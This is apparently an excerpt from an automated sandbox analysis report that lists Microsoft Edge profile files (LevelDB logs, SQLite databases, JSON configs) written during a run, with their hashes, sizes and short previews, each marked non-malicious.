C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.287315490441997
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVj2Thin/GpR8xFxN3erkEtl:scoBY7j2Q/+KxFDkHl
MD5:	B987581B38C2439D148DE0B235DA8457
SHA1:	72F284B50FC9F8F7055DD32F746D311D9DB3D5D5
SHA-256:	8E8CCF597EB794A3832FA9094F758D2AFC34CF9333B5776A1507CC2D5694AF52
SHA-512:	7E741B1E97D08918274192AAF0DDF94809D2ABE94E511F47FB863D8E806D62A8FABD07A98F64E9B925A474D79FC06F887E0171C6A3AD61693475A849E3F914E4
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator.......u..7...............&.BLOOM_FILTER:.........DB_VERSION........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6134666525897967
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWGN0MAqURor:TLapR+DDNzWjJ0npnyXKUO8+jrepTmL
MD5:	FB23E9B2778C11FE061DCBCAEC30E62B
SHA1:	F3CD6B5823C7845C6566FB43F20E757D9A1D8855
SHA-256:	58E6D138EFDEF5A4D6C9D778104D69C2DDEAFBAF4CF950E9A8A1176813B8676E
SHA-512:	F2BFF3A5FE053B04401CFE5CBE183667613AB07A0CDF7BDCA149DE5687C8CB20938252C23799B54F81E783B72A19DA6DCB298D648E253EE7E57BDC97A63F0EC5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	375520
Entropy (8bit):	5.354113292775919
Encrypted:	false
SSDEEP:	6144:5A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:5FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	EAA7BD027646A39688FE2AFF4B16FDA1
SHA1:	068E29AE5CFE8086F6CDBF9EB9EB653537A31F1A
SHA-256:	5E9DBB83533AFFA6320D8E5549BE62FCCA337E15DD92C94B0C616913E24B8874
SHA-512:	917A836A6A5C7158E74291CDF098B19CF44FE82008A77EA843AE8277D04E7FAFE569349DCFCCD35B7CBDEFAEBF3FE3E7BB1C77147A7EE22FBA12CDEAB5C304C6
Malicious:	false
Preview:	...m.................DB_VERSION.1"..q...............&QUERY_TIMESTAMP:domains_config_gz2...13379091632062079..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.136341470167235
Encrypted:	false
SSDEEP:	6:7CXJU7CRM1cNwi23oH+Tcwtk2WwnvB2KLlpCXkFVq2PcNwi23oH+Tcwtk2WwnvIg:7CXJU7CR2ZYebkxwnvFLTCXmvLZYebk8
MD5:	42894CCEEF6EC2E4F656D7B70DB8A013
SHA1:	305D7CC695A1F08E20D39F3AA747B4AF7E32B156
SHA-256:	6B3CE8C7B2B136385D6420C426036E4C21581FBEC1FA570F7CC29DDF89CE13FA
SHA-512:	AFF05F52531CB2E302B67BF039E3F8DC0D3EFA5BABD5B48E293FD6D44D3BC4C4327B4CCCCF3B8A8525A8CA325E6970E7F8ACCD4223C63FD3B0503F6CF9105EBC
Malicious:	false
Preview:	2024/12/19-09:20:29.516 2204 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/19-09:20:30.090 2204 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	358860
Entropy (8bit):	5.324615186616681
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RL:C1gAg1zfvD
MD5:	EA34C0301BEA5C2CD7FA95C2BA3E5126
SHA1:	FF44A4556DABA50940D63DE32666980541620D93
SHA-256:	1C9EE93276D5C966B572F3BBA7C53BBF0D2375F9972DC0BEBDB90918956A09BA
SHA-512:	40646976998C5851D9CFE18B535BC5821D57EC6DEA08809B14CBA53B27C8EED925D55516FAEC22CFD5E342E8E007DD4078B7D13F8A15BBA61922A9BB1DE15652
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.2090696500051274
Encrypted:	false
SSDEEP:	6:7oPVq2PcNwi23oH+Tcwt8aPrqIFUt8OoPgZmw+OoPIkwOcNwi23oH+Tcwt8amLJ:7CvLZYebL3FUt8OL/+OB54ZYebQJ
MD5:	1DDDC8BCEBEDD6A61B58D000CF4D7AAB
SHA1:	F66A77CDDFD1987EF2B89F5D753E1A4D106D02D5
SHA-256:	8187AE848EB6954E37E2694A6EB9390F0E3B22E4C8149F67D24262E16D614A76
SHA-512:	26C6954546BA659E4258F6F6EDD343FCB53420CEE3F7AC3447D165558C1B2AED4AB83AE0ED749B0C2A04D5ABCCB1F83CD89D07CE9C654F70E4B9B40C1E50F003
Malicious:	false
Preview:	2024/12/19-07:44:29.295 1b14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/19-07:44:29.295 1b14 Recovering log #3.2024/12/19-07:44:29.295 1b14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.2090696500051274
Encrypted:	false
SSDEEP:	6:7oPVq2PcNwi23oH+Tcwt8aPrqIFUt8OoPgZmw+OoPIkwOcNwi23oH+Tcwt8amLJ:7CvLZYebL3FUt8OL/+OB54ZYebQJ
MD5:	1DDDC8BCEBEDD6A61B58D000CF4D7AAB
SHA1:	F66A77CDDFD1987EF2B89F5D753E1A4D106D02D5
SHA-256:	8187AE848EB6954E37E2694A6EB9390F0E3B22E4C8149F67D24262E16D614A76
SHA-512:	26C6954546BA659E4258F6F6EDD343FCB53420CEE3F7AC3447D165558C1B2AED4AB83AE0ED749B0C2A04D5ABCCB1F83CD89D07CE9C654F70E4B9B40C1E50F003
Malicious:	false
Preview:	2024/12/19-07:44:29.295 1b14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/19-07:44:29.295 1b14 Recovering log #3.2024/12/19-07:44:29.295 1b14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.217571991626612
Encrypted:	false
SSDEEP:	6:7oPPmq2PcNwi23oH+Tcwt865IFUt8OoPPfZmw+OoPPNkwOcNwi23oH+Tcwt86+Ud:7+mvLZYeb/WFUt8O+f/+O+N54ZYeb/+e
MD5:	4C1BB2C8EE561DBED099CA60BF599067
SHA1:	6E60CAF4CD843BBCD71101D55035A2A7BC7ED1C5
SHA-256:	9CE1C57A8007B24EE4166A3303A7556F94828C5F08AD02EC8F3E84F1E741B387
SHA-512:	730B42034D8F06AA42E59652E1D45AB70A17807F0F78C8A4B56E7B911AD62445B0C98D5C703F90D0814827A391A1564418F9ABD3F31D1DB04DA5DBEBA7540417
Malicious:	false
Preview:	2024/12/19-07:44:29.298 1b14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/19-07:44:29.298 1b14 Recovering log #3.2024/12/19-07:44:29.298 1b14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.217571991626612
Encrypted:	false
SSDEEP:	6:7oPPmq2PcNwi23oH+Tcwt865IFUt8OoPPfZmw+OoPPNkwOcNwi23oH+Tcwt86+Ud:7+mvLZYeb/WFUt8O+f/+O+N54ZYeb/+e
MD5:	4C1BB2C8EE561DBED099CA60BF599067
SHA1:	6E60CAF4CD843BBCD71101D55035A2A7BC7ED1C5
SHA-256:	9CE1C57A8007B24EE4166A3303A7556F94828C5F08AD02EC8F3E84F1E741B387
SHA-512:	730B42034D8F06AA42E59652E1D45AB70A17807F0F78C8A4B56E7B911AD62445B0C98D5C703F90D0814827A391A1564418F9ABD3F31D1DB04DA5DBEBA7540417
Malicious:	false
Preview:	2024/12/19-07:44:29.298 1b14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/19-07:44:29.298 1b14 Recovering log #3.2024/12/19-07:44:29.298 1b14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.125500600167944
Encrypted:	false
SSDEEP:	6:7o6hJq2PcNwi23oH+Tcwt8NIFUt8Oo6hUZmw+Oo6h7FzkwOcNwi23oH+Tcwt8+ed:73vLZYebpFUt8O+/+Ozz54ZYebqJ
MD5:	90A8D6E2C05F6F7AB9FE80C49C360E38
SHA1:	92BB494E843751A24ACA21D935BE880733C12AFD
SHA-256:	C4EA86D8042FB9E87624B665A16CEAC7DC77368B23C1AE1F50614A4D17465321
SHA-512:	68CEC5B6D87BC02FE08D19B9248F5F275C03C55ECBCC46B6DDEFFAB60A731EB46A60F44E69A059CF559FDB0F7B000E5CF9BB178960D38578DAF22A10191C8A51
Malicious:	false
Preview:	2024/12/19-07:44:30.019 17a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/19-07:44:30.020 17a0 Recovering log #3.2024/12/19-07:44:30.021 17a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.125500600167944
Encrypted:	false
SSDEEP:	6:7o6hJq2PcNwi23oH+Tcwt8NIFUt8Oo6hUZmw+Oo6h7FzkwOcNwi23oH+Tcwt8+ed:73vLZYebpFUt8O+/+Ozz54ZYebqJ
MD5:	90A8D6E2C05F6F7AB9FE80C49C360E38
SHA1:	92BB494E843751A24ACA21D935BE880733C12AFD
SHA-256:	C4EA86D8042FB9E87624B665A16CEAC7DC77368B23C1AE1F50614A4D17465321
SHA-512:	68CEC5B6D87BC02FE08D19B9248F5F275C03C55ECBCC46B6DDEFFAB60A731EB46A60F44E69A059CF559FDB0F7B000E5CF9BB178960D38578DAF22A10191C8A51
Malicious:	false
Preview:	2024/12/19-07:44:30.019 17a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/19-07:44:30.020 17a0 Recovering log #3.2024/12/19-07:44:30.021 17a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 12, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	1.760688300256828
Encrypted:	false
SSDEEP:	96:+BCyR8RXcdoWXXeRGCaBT7+opccnhk2Rh:8N6dcdDXO0B+dchhRh
MD5:	75A8F77FA9902EB8F0F296601F71B3AA
SHA1:	3ED0885E5260730321EBFFA99EC09970B2A80717
SHA-256:	AF0FD251080C5AC042228BAA88178A16C02230BB95F2C097334570CEB9262B2A
SHA-512:	3EBCD484D8D168E17F5B75B2F3AF65EB69A7FE53F4CE0A6E30C1B53D718ECFB27B9581CB3EC3D984BD6D1B9593BDE47B7E95A94196A4F98F6403AFBA28B39261
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.6257716944247356
Encrypted:	false
SSDEEP:	96:r6z9LJ1WyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kEe9ijW57cY:gChH+bDo3iN0Z2TVJkXBBE3ybP
MD5:	EDA73D103A2F9337680C6DBDAB3728DD
SHA1:	9FD3572505FBE2FFC5C8553FF91A47B652B67FB8
SHA-256:	392EA6B6F27979DB8ACE08A0392B7B03542A88DFFB45F126F20CB2558FE9339B
SHA-512:	107CC511E1668EB663EACECE5E5B96524B34F7554A94D79C9BEA6CE79FC5A0A88A3B76FC41AF131ED828D288F86D145C940146AEC1DC0800235501339EDD0E4F
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:aIb9tFlljq7A/mhWJFuQ3yy7IOWUMsKtdweytllrE9SFcTp4AGbNCV9RUIQfn:ab75fOKtd0Xi99pEYufn
MD5:	C1D785EADF7C2F3AB82B95B39D7E8E25
SHA1:	B7A0E6472C8AAC2ECA0BE19783969F3936681A83
SHA-256:	5A9DE3144A13EE8FAA7AE671B039D16B39A28375DB22851848D25BCC6DC46409
SHA-512:	9D90C4DDDF447988F6A00777904D54B74117EC57D96A19732982DD092233CE8DA3805254A45F269DA10424A91DCC7704DC1F4ADD14947F7D244D1535F4FB0AEB
Malicious:	false
Preview:	...............:...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.648112779288423
Encrypted:	false
SSDEEP:	384:aj9P0ZcAjl+QkQeragam6IfP/Kbtn773pLXRKToaADhf:adLKl+e2NvP/m7JRKc39
MD5:	13BE4396CD3C9E7B33FEEF1D2DFE79A3
SHA1:	4772F468762E0EF94C42B20638BA6D85D1BC1AC2
SHA-256:	18516B2B512B9D01D1479353746E5E4B6D156A1107EB1533CD62FD5E3070ED2B
SHA-512:	F601910559EA78E597238DF2AD7F0EC745B048B5754BF4F14E842CC807763A33345E84FCEA89C17BD23D3604323C08D0E3DAF2549E00CE36DC6704F0E07F6169
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.dropbox.com_0.indexeddb.leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
